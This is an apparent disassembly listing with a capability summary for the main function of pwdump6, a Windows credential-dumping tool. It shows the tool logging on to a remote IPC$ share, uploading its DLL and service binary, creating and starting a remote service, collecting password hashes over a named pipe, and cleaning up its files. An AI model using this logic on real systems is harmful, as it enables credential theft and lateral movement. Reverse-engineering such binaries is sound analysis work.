Function at 0x404cb0
Capabilities:
Connect network resource
Copy file
Create service
Create thread
Delete file
Get common file path
Query service status
Start service

Disassembly:
push ebp
lea ebp, [esp - 0xd9c]
sub esp, 0xd9c
push 0xffffffffffffffff
push 0x419c10
mov eax, dword fs:[0]
push eax
sub esp, 0xa0
mov eax, dword [0x421560]
xor eax, ebp
mov dword [ebp + 0xd98], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, dword [ebp + 0xda8]
call fcn.00406408
xor edi, edi
add eax, 0x20
push edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x3c], edi
mov byte [ebp - 0x11], 0
call fcn.0040627d
push eax
call fcn.004065a9
mov ebx, dword [ebp + 0xda4]
add esp, 8
cmp ebx, 2
mov dword [0x423560], edi
jge 0x404d6d
mov eax, dword [esi]
push eax
call fcn.00401390
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0xd98]
xor ecx, ebp
call fcn.00406ee3
add ebp, 0xd9c
mov esp, ebp
pop ebp
ret
push 0x41bee4
push str._npwdump6_Version__s_by_fizzgig_and_the_mighty_group_at_foofus.net_n
call fcn.00406408
add eax, 0x40
push eax
call fcn.004062b9
add esp, 0xc
push str.Copyright_2008_foofus.net_n_n
call fcn.00406408
add eax, 0x40
push eax
call fcn.004062b9
add esp, 8
push str.This_program_is_free_software_under_the_GNU_n
call fcn.00406408
add eax, 0x40
push eax
call fcn.004062b9
add esp, 8
push str.General_Public_License_Version_2__GNU_GPL___you_can_redistribute_it_and_or_n
call fcn.00406408
add eax, 0x40
push eax
call fcn.004062b9
add esp, 8
push str.modify_it_under_the_terms_of_the_GNU_GPL__as_published_by_the_Free_Software_n
call fcn.00406408
add eax, 0x40
push eax
call fcn.004062b9
add esp, 8
push str.Foundation.__NO_WARRANTY__EXPRESSED_OR_IMPLIED__IS_GRANTED_WITH_THIS_n
call fcn.00406408
add eax, 0x40
push eax
call fcn.004062b9
add esp, 8
push str.PROGRAM.__Please_see_the_COPYING_file_included_with_this_program_n
call fcn.00406408
add eax, 0x40
push eax
call fcn.004062b9
add esp, 8
push str.and_the_GNU_GPL_for_further_details._n_n
call fcn.00406408
add eax, 0x40
push eax
call fcn.004062b9
push str.xnhu:o:p:s:
push esi
push ebx
call fcn.00405d40
add esp, 0x14
cmp al, 0xff
je 0x404ef4
movsx eax, al
lea ecx, [eax - 0x68]
cmp ecx, 0x10
ja case.0x404e4c.105
movzx ecx, byte [ecx + 0x405d2c]
jmp dword [ecx*4 + 0x405d0c]
mov edx, dword [0x4241dc]
mov dword [ebp - 0x18], edx
jmp 0x404edd
mov eax, dword [0x4241dc]
push 0x41bcf0
push eax
call fcn.004086a2
add esp, 8
cmp eax, edi
mov dword [ebp - 0x2c], eax
jne 0x404edd
mov ecx, dword [0x4241dc]
push ecx
lea edx, [ebp + 0x308]
push str.Couldnt_open__s_for_writing._n
push edx
call fcn.00408563
add esp, 0xc
push 0x41f458
lea ecx, [ebp - 0x6c]
lea eax, [ebp + 0x308]
push ecx
mov dword [ebp - 0x6c], eax
call fcn.004070af
mov ecx, dword [0x4241dc]
mov dword [ebp - 0x34], ecx
jmp 0x404edd
mov edx, dword [0x4241dc]
mov dword [ebp - 0x20], edx
jmp 0x404edd
mov dword [ebp - 0x3c], 1
jmp 0x404edd
mov byte [ebp - 0x11], 1
jmp 0x404edd
push eax
push str.Unrecognized_option:__c_n
call fcn.004065d8
add esp, 8
push str.xnhu:o:p:s:
push esi
push ebx
call fcn.00405d40
add esp, 0xc
cmp al, 0xff
jne 0x404e36
mov eax, dword [0x4241dc]
cmp eax, edi
jne 0x404f20
push str.No_target_specified_n_n
call fcn.00406408
add eax, 0x40
push eax
call fcn.004062b9
mov edx, dword [esi]
push edx
call fcn.00401390
add esp, 0xc
jmp 0x404d46
cmp byte [eax], 0x5c
jne 0x404f2d
add eax, 1
cmp byte [eax], 0x5c
je 0x404f25
push eax
lea eax, [ebp + 0xc1c]
push str._s
push eax
call fcn.00408563
add esp, 0xc
cmp dword [ebp - 0x34], edi
jne 0x404f9d
cmp dword [ebp - 0x18], edi
je 0x404f9d
push str.Please_enter_the_password__
xor esi, esi
call fcn.00406408
add eax, 0x40
push eax
call fcn.004062b9
add esp, 8
call fcn.00408525
mov bl, al
mov byte [ebp + esi], bl
push 0x2a
add esi, 1
call fcn.00408358
add esp, 4
cmp bl, 0xd
jne 0x404f64
push 0xd
mov byte [ebp + esi - 1], 0
call fcn.00408358
push 0xa
call fcn.00408358
lea ecx, [ebp]
add esp, 8
mov dword [ebp - 0x34], ecx
push 0x104
lea edx, [ebp + 0xb18]
push edi
push edx
call fcn.00406170
push 0x104
lea eax, [ebp + 0x80c]
push edi
push eax
call fcn.00406170
push 0x104
lea ecx, [ebp + 0xa14]
push edi
push ecx
call fcn.00406170
push 0x104
lea edx, [ebp + 0x708]
push edi
push edx
call fcn.00406170
push 0xa
push 5
call fcn.00401450
mov ebx, eax
add esp, 0x38
xor esi, esi
cmp ebx, edi
jle 0x40501a
lea esp, [esp]
push 0x7a
push 0x61
call fcn.00401450
mov byte [ebp + esi + 0x708], al
add esi, 1
add esp, 8
cmp esi, ebx
jl 0x405000
lea eax, [ebp + 0xc1c]
push 0x41b604
push eax
call fcn.00417109
add esp, 8
test eax, eax
je 0x405674
lea ecx, [ebp + 0xc1c]
push 0x41b5f8
push ecx
call fcn.00417109
add esp, 8
test eax, eax
je 0x405674
lea edx, [ebp + 0xc1c]
push str.localhost
push edx
call fcn.00417109
add esp, 8
test eax, eax
je 0x405674
lea eax, [ebp + 0xc1c]
push str.127.0.0.1
push eax
call fcn.00417109
add esp, 8
test eax, eax
je 0x405674
xor ebx, ebx
push 0x105
mov dword [ebp - 4], ebx
mov dword [ebp + 0xd7c], 1
mov dword [ebp + 0xd88], ebx
mov dword [ebp + 0xd94], ebx
call fcn.0040821d
mov edi, eax
push 0x105
mov dword [ebp - 0x28], edi
call fcn.0040821d
push 0x105
mov esi, eax
push ebx
push edi
mov dword [ebp - 0x24], esi
call fcn.00406170
push 0x105
push ebx
push esi
call fcn.00406170
add esp, 0x20
push 0x104
lea ecx, [ebp + 0x910]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [ebp - 0x20]
cmp esi, ebx
jne 0x4051ca
lea edx, [ebp + 0xc1c]
push edx
lea eax, [ebp + 0xb18]
push str._sIPC_
push eax
call fcn.00408563
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
add esp, 0xc
push ebx
lea ecx, [ebp + 0xb18]
push edx
mov dword [ebp + 0xd8c], ecx
push eax
lea ecx, [ebp + 0xd78]
push ecx
call sub.MPR.dll_WNetAddConnection2A
cmp eax, ebx
je 0x40516f
push eax
lea edx, [ebp + 0xb18]
push edx
lea eax, [ebp + 0x308]
push str.Logon_to__s_failed:_error__d_n
push eax
call fcn.00408563
add esp, 0x10
push 0x41f458
lea edx, [ebp - 0x54]
lea ecx, [ebp + 0x308]
push edx
mov dword [ebp - 0x54], ecx
call fcn.004070af
lea eax, [ebp - 0x28]
push eax
push 0x104
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp + 0xc1c]
push 0x104
push edx
call fcn.00404a20
add esp, 0x14
test al, al
jne 0x4052e9
lea eax, [ebp + 0xc1c]
push eax
lea ecx, [ebp + 0x308]
push str.Unable_to_find_writable_share_on__s_n
push ecx
call fcn.00408563
add esp, 0xc
push 0x41f458
lea eax, [ebp - 0x64]
lea edx, [ebp + 0x308]
push eax
mov dword [ebp - 0x64], edx
call fcn.004070af
push esi
lea ecx, [ebp + 0xc1c]
push ecx
lea edx, [ebp + 0xb18]
push str._s_s
push edx
call fcn.00408563
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x34]
add esp, 0x10
push ebx
lea eax, [ebp + 0xb18]
push ecx
mov dword [ebp + 0xd8c], eax
push edx
lea eax, [ebp + 0xd78]
push eax
call sub.MPR.dll_WNetAddConnection2A
cmp eax, ebx
je 0x40523e
push eax
lea ecx, [ebp + 0xb18]
push ecx
lea edx, [ebp + 0x308]
push str.Logon_to__s_failed:_error__d_n
push edx
call fcn.00408563
add esp, 0x10
push 0x41f458
lea ecx, [ebp - 0x5c]
lea eax, [ebp + 0x308]
push ecx
mov dword [ebp - 0x5c], eax
call fcn.004070af
lea edx, [ebp + 0xb18]
push edx
call fcn.00404890
add esp, 4
test al, al
jne 0x405283
lea eax, [ebp + 0xc1c]
push eax
lea ecx, [ebp + 0x308]
push str.Failed_to_upload_to_the_specified_share_on__s_n
push ecx
call fcn.00408563
add esp, 0xc
push 0x41f458
lea eax, [ebp - 0x70]
lea edx, [ebp + 0x308]
push eax
mov dword [ebp - 0x70], edx
call fcn.004070af
push 0x104
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp + 0xc1c]
push esi
push edx
call fcn.00401470
add esp, 0x10
test al, al
jne 0x4052d2
lea eax, [ebp + 0xc1c]
push eax
lea ecx, [ebp + 0x308]
push str.Failed_to_get_the_physical_path_for_the_specified_share_on__s_n
push ecx
call fcn.00408563
add esp, 0xc
push 0x41f458
lea eax, [ebp - 0x44]
lea edx, [ebp + 0x308]
push eax
mov dword [ebp - 0x44], edx
call fcn.004070af
push 0x104
lea ecx, [ebp + 0xb18]
push ecx
push edi
call fcn.004066a0
add esp, 0xc
jmp 0x4052ec
mov edi, dword [ebp - 0x28]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x4052f1
sub eax, edx
je 0x4055e9
mov edx, dword [ebp - 0x24]
mov eax, edx
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x405310
sub eax, esi
je 0x4055e9
lea eax, [ebp + 0x708]
push eax
push edx
lea ecx, [ebp + 0x204]
push str._s_s.exe
push ecx
call fcn.00408563
add esp, 0x10
mov ecx, edi
lea edx, [ebp + 0x80c]
mov al, byte [ecx]
mov byte [edx], al
add ecx, 1
add edx, 1
test al, al
jne 0x405345
mov bl, byte [ebp - 0x11]
lea edx, [ebp + 0x910]
push 0x5c
push edx
call fcn.00405eb0
add esp, 8
add eax, 1
test bl, bl
je 0x4053d4
mov ecx, dword [str.lsremora64.dll]
mov dword [eax], ecx
mov edx, dword [0x41bb84]
mov dword [eax + 4], edx
mov ecx, dword [0x41bb88]
mov dword [eax + 8], ecx
mov dx, word [0x41bb8c]
mov word [eax + 0xc], dx
mov cl, byte [0x41bb8e]
mov byte [eax + 0xe], cl
lea eax, [ebp + 0x80c]
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x4053a5
mov edx, dword [0x41bb70]
mov ecx, dword [0x41bb74]
mov dword [eax], edx
mov edx, dword [0x41bb78]
mov dword [eax + 4], ecx
mov ecx, dword [0x41bb7c]
mov dword [eax + 8], edx
mov dword [eax + 0xc], ecx
jmp 0x40542f
mov ecx, dword [str.lsremora.dll]
mov dword [eax], ecx
mov edx, dword [0x41bb64]
mov dword [eax + 4], edx
mov ecx, dword [0x41bb68]
mov dword [eax + 8], ecx
mov dl, byte [0x41bb6c]
mov byte [eax + 0xc], dl
lea eax, [ebp + 0x80c]
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x405400
mov ecx, dword [0x41bb50]
mov edx, dword [0x41bb54]
mov dword [eax], ecx
mov ecx, dword [0x41bb58]
mov dword [eax + 4], edx
mov dx, word [0x41bb5c]
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
push 0
lea eax, [ebp + 0x80c]
push eax
lea ecx, [ebp + 0x910]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x405489
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea edx, [ebp + 0x80c]
push edx
lea eax, [ebp + 0x910]
push eax
lea ecx, [ebp + 0x308]
push str.Couldnt_copy__s_to_destination__s.__Error__d__n
push ecx
call fcn.00408563
add esp, 0x14
push 0x41f458
lea eax, [ebp - 0x48]
lea edx, [ebp + 0x308]
push eax
mov dword [ebp - 0x48], edx
call fcn.004070af
test bl, bl
push 0x5c
je 0x4054c7
lea ecx, [ebp + 0x910]
push ecx
call fcn.00405eb0
mov edx, dword [str.servpw64.exe]
mov dword [eax + 1], edx
mov ecx, dword [0x41bb14]
add esp, 8
add eax, 1
mov dword [eax + 4], ecx
mov edx, dword [0x41bb18]
mov dword [eax + 8], edx
mov cl, byte [0x41bb1c]
mov byte [eax + 0xc], cl
jmp 0x4054ff
lea edx, [ebp + 0x910]
push edx
call fcn.00405eb0
mov ecx, dword [str.servpw.exe]
mov dword [eax + 1], ecx
mov edx, dword [0x41bb08]
add esp, 8
add eax, 1
mov dword [eax + 4], edx
mov cx, word [0x41bb0c]
mov word [eax + 8], cx
mov dl, byte [0x41bb0e]
mov byte [eax + 0xa], dl
mov ecx, edi
lea edx, [ebp + 0xa14]
mov al, byte [ecx]
mov byte [edx], al
add ecx, 1
add edx, 1
test al, al
jne 0x405507
lea edi, [ebp + 0xa14]
add edi, 0xffffffff
mov edi, edi
mov al, byte [edi + 1]
add edi, 1
test al, al
jne 0x405520
mov ax, word [0x41bb00]
mov word [edi], ax
lea eax, [ebp + 0x708]
mov edx, eax
jmp 0x405540
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x405540
lea edi, [ebp + 0xa14]
sub eax, edx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x405554
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp + 0xa14]
rep movsb byte es:[edi], byte [esi]
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x405577
mov ecx, dword [str..exe]
mov dl, byte [0x41bafc]
mov dword [eax], ecx
mov byte [eax + 4], dl
push 0
lea eax, [ebp + 0xa14]
push eax
lea ecx, [ebp + 0x910]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x4056f2
lea edx, [ebp + 0xa14]
push edx
lea eax, [ebp + 0x910]
push eax
lea ecx, [ebp + 0x308]
push str.Couldnt_copy__s_to_destination__s._n
push ecx
call fcn.00408563
add esp, 0x10
push 0x41f458
lea eax, [ebp - 0x50]
lea edx, [ebp + 0x308]
push eax
mov dword [ebp - 0x50], edx
call fcn.004070af
lea ecx, [ebp + 0xc1c]
push ecx
lea edx, [ebp + 0x308]
push str.Unable_to_find_a_writable_share_on__s_n
push edx
call fcn.00408563
add esp, 0xc
push 0x41f458
lea ecx, [ebp - 0x58]
lea eax, [ebp + 0x308]
push ecx
mov dword [ebp - 0x58], eax
call fcn.004070af
push 0
push 0
lea edx, [ebp + 0xb18]
push edx
call sub.MPR.dll_WNetCancelConnection2A
mov eax, dword [ebp - 0x8c]
test eax, eax
je 0x40563e
push eax
call fcn.004065d8
add esp, 4
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x40564e
push eax
call fcn.00407faa
add esp, 4
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x40565e
push eax
call fcn.004061ef
add esp, 4
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x40566e
push eax
call fcn.004061ef
add esp, 4
mov eax, 0x4056a0
ret
lea eax, [ebp + 0x100]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
jne 0x4056a8
push str.Unable_to_get_the_current_working_directory_n
call fcn.00406408
add eax, 0x40
push eax
call fcn.004062b9
add esp, 8
or eax, 0xffffffff
jmp 0x404d48
lea ecx, [ebp + 0x100]
push ecx
push str.Current_directory_for_pwdump_is__s_n
call fcn.004065d8
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x4056d7
lea edx, [ebp + 0x100]
push edx
push str._s_servpw64.exe
lea eax, [ebp + 0x204]
push eax
jmp 0x4056ea
lea ecx, [ebp + 0x100]
push ecx
push str._s_servpw.exe
lea edx, [ebp + 0x204]
push edx
call fcn.00408563
add esp, 0xc
mov ebx, dword [sym.imp.ole32.dll_CoCreateGuid]
xor eax, eax
push 0x422508
mov dword [ebp - 4], 2
mov dword [0x423568], eax
mov dword [0x42356c], eax
mov dword [0x423570], eax
mov dword [0x423574], eax
mov dword [0x423578], eax
mov dword [0x42357c], eax
mov dword [0x423580], eax
mov dword [0x423584], eax
mov dword [0x423588], eax
mov dword [0x42358c], eax
mov dword [0x4224e0], eax
mov dword [0x4224e4], eax
mov dword [0x4224e8], eax
mov dword [0x4224ec], eax
mov dword [0x4224f0], eax
mov dword [0x4224f4], eax
mov dword [0x4224f8], eax
mov dword [0x4224fc], eax
mov dword [0x422500], eax
mov dword [0x422504], eax
call ebx
mov edi, dword [sym.imp.ole32.dll_StringFromGUID2]
push 0x27
push 0x423568
push 0x422508
call edi
push 0x423568
push 0x41ba30
push 0x4224e0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp byte [ebp + 0xa14], 0
push 2
push 0
je 0x4057b9
lea eax, [ebp + 0xc1c]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
mov dword [ebp - 0x20], esi
jmp 0x4057c6
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
mov dword [ebp - 0x20], eax
test esi, esi
jne 0x4057f5
lea ecx, [ebp + 0x308]
push str.Failed_to_open_SCM_n
push ecx
call fcn.00408563
add esp, 8
push 0x41f458
lea eax, [ebp - 0x60]
lea edx, [ebp + 0x308]
push eax
mov dword [ebp - 0x60], edx
call fcn.004070af
push 0x422508
call ebx
push 0x27
push 0x423568
push 0x422508
call edi
push 0x423568
lea ecx, [ebp + 0xd48]
push 0x41ba30
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp + 0x204]
push edx
push 0
push 3
push 0x10
push 0xf01ff
lea eax, [ebp + 0xd48]
push eax
lea ecx, [ebp + 0x708]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov edi, eax
test edi, edi
mov dword [ebp - 0x30], eax
jne 0x4058b3
push 0xf01ff
lea edx, [ebp + 0x708]
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
mov dword [ebp - 0x30], edi
jne 0x4058b3
lea eax, [ebp + 0xd48]
push eax
lea ecx, [ebp + 0x204]
push ecx
lea edx, [ebp + 0x308]
push str.Failed_to_create_service___s__s__n
push edx
call fcn.00408563
add esp, 0x10
push 0x41f458
lea ecx, [ebp - 0x40]
lea eax, [ebp + 0x308]
push ecx
mov dword [ebp - 0x40], eax
call fcn.004070af
push 0x423564
push 0
lea edx, [ebp + 0xc1c]
push edx
push 0x401610
push 0
push 0
call fcn.00408120
add esp, 0x18
test eax, eax
mov dword [0x4235bc], eax
jne 0x40590d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp + 0x308]
push str.Unable_to_create_named_pipe_thread__error__d_n
push eax
call fcn.00408563
add esp, 0xc
push 0x41f458
lea edx, [ebp - 0x74]
lea ecx, [ebp + 0x308]
push edx
mov dword [ebp - 0x74], ecx
call fcn.004070af
push 0x10
call fcn.0040821d
mov ebx, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
add esp, 4
mov dword [0x423560], eax
xor esi, esi
cmp esi, 0x10
jge 0x405962
lea eax, [ebp - 0x38]
push eax
call ebx
mov ecx, dword [ebp - 0x38]
push ecx
call fcn.004065a9
add esp, 4
call fcn.004065b6
mov edx, dword [0x423560]
mov byte [edx + esi], al
mov eax, dword [0x423560]
cmp byte [eax + esi], 0
jne 0x40595d
mov byte [eax + esi], 1
mov eax, dword [0x423560]
add esi, 1
jmp 0x405924
lea ecx, [ebp - 0x19]
push 0x10
mov dword [ebp - 0x80], ecx
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp + 0x708]
push 0x422518
mov byte [ebp - 0x19], 0x10
mov dword [ebp - 0x88], 0x4224e0
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x78], ecx
call fcn.004010e0
add esp, 0xc
lea edx, [ebp - 0x88]
push edx
push 5
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x4059ef
lea eax, [ebp + 0xd48]
push eax
lea ecx, [ebp + 0x204]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea edx, [ebp + 0x308]
push str.Service_start_failed:__d___s__s__n
push edx
call fcn.00408563
add esp, 0x14
push 0x41f458
lea ecx, [ebp - 0x68]
lea eax, [ebp + 0x308]
push ecx
mov dword [ebp - 0x68], eax
call fcn.004070af
mov ebx, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
xor esi, esi
cmp esi, 0x63
jne 0x405a03
push str.Waiting_for_remote_service_to_terminate..._n
jmp 0x405a34
cmp esi, 0xc7
jne 0x405a12
push str.___...Servers_with_many_user_accounts_can_take_several_minutes_n
jmp 0x405a34
mov eax, 0x51eb851f
imul esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x64
mov ecx, esi
sub ecx, eax
cmp ecx, 0x63
jne 0x405a45
push 0x41b930
call fcn.00406408
add eax, 0x40
push eax
call fcn.004062b9
add esp, 8
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [ebp + 0xa14], 0
je 0x405a6c
lea edx, [ebp + 0xa14]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x405a9b
add esi, 1
jmp 0x4059f7
lea eax, [ebp - 0xac]
push eax
push edi
call ebx
test eax, eax
jne 0x405a92
push str.Unable_to_query_service_status._Something_is_wrong__please_manually_check_the_status_of_servpw_n
call fcn.00406408
add eax, 0x40
push eax
call fcn.004062b9
add esp, 8
jmp 0x405a9b
cmp dword [ebp - 0xa8], 1
jne 0x405a67
push 0x41b8c8
call fcn.00406408
add eax, 0x40
push eax
call fcn.004062b9
add esp, 8
cmp byte [ebp + 0x80c], 0
je 0x405ae8
lea ecx, [ebp + 0x80c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x405ae8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Couldnt_delete_target_executable_from_remote_machine:__d_n
call fcn.00406408
add eax, 0x40
push eax
call fcn.004062b9
add esp, 0xc
mov edx, dword [0x4235bc]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [0x4235c0], 0
jne 0x405b22
push str.No_data_returned_from_the_target_host_n
call fcn.004065d8
add esp, 4
push 0x41f458
lea ecx, [ebp - 0x4c]
push ecx
mov dword [ebp - 0x4c], str.Completed._n
call fcn.004070af
xor esi, esi
mov dword [ebp - 0x18], esi
cmp esi, dword [0x4235c4]
mov ecx, 0xee0414b5
mov eax, 0x35b4d3aa
jae 0x405b0d
lea esi, [esi + esi*4]
shl esi, 6
add esi, dword [0x4235c0]
cmp dword [esi + 0x10], eax
jne 0x405beb
cmp dword [esi + 0x14], ecx
jne 0x405beb
cmp dword [esi + 0x18], eax
jne 0x405beb
cmp dword [esi + 0x1c], ecx
jne 0x405beb
lea eax, [ebp + 0xd20]
push str.NO_PASSWORD
push eax
call fcn.00408563
add esp, 8
cmp dword [esi], 0xe0cfd631
jne 0x405c16
cmp dword [esi + 4], 0x31e96ad1
jne 0x405c16
cmp dword [esi + 8], 0xd7593cb7
jne 0x405c16
cmp dword [esi + 0xc], 0xc089c0e0
jne 0x405c16
lea edx, [ebp + 0xd70]
push str.NO_PASSWORD
push edx
call fcn.00408563
add esp, 8
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp + 0xd70]
push ecx
lea edx, [ebp + 0xd20]
push edx
add esi, 0x40
push esi
push str._s:_s:_s:::_n
push eax
call fcn.004062b9
add esp, 0x14
add dword [ebp - 0x18], 1
mov esi, dword [ebp - 0x18]
jmp 0x405b27
mov edi, 0x10
lea ebx, [ebp + 0xd20]
cmp edi, 0x20
jge 0x405b7d
movzx ecx, byte [edi + esi]
push ecx
push str._02X
push ebx
call fcn.00408563
add esp, 0xc
add edi, 1
add ebx, 2
jmp 0x405bf6
xor edi, edi
lea ebx, [ebp + 0xd70]
mov edi, edi
cmp edi, 0x10
jge 0x405bbc
movzx eax, byte [edi + esi]
push eax
push str._02X
push ebx
call fcn.00408563
add esp, 0xc
add edi, 1
add ebx, 2
jmp 0x405c20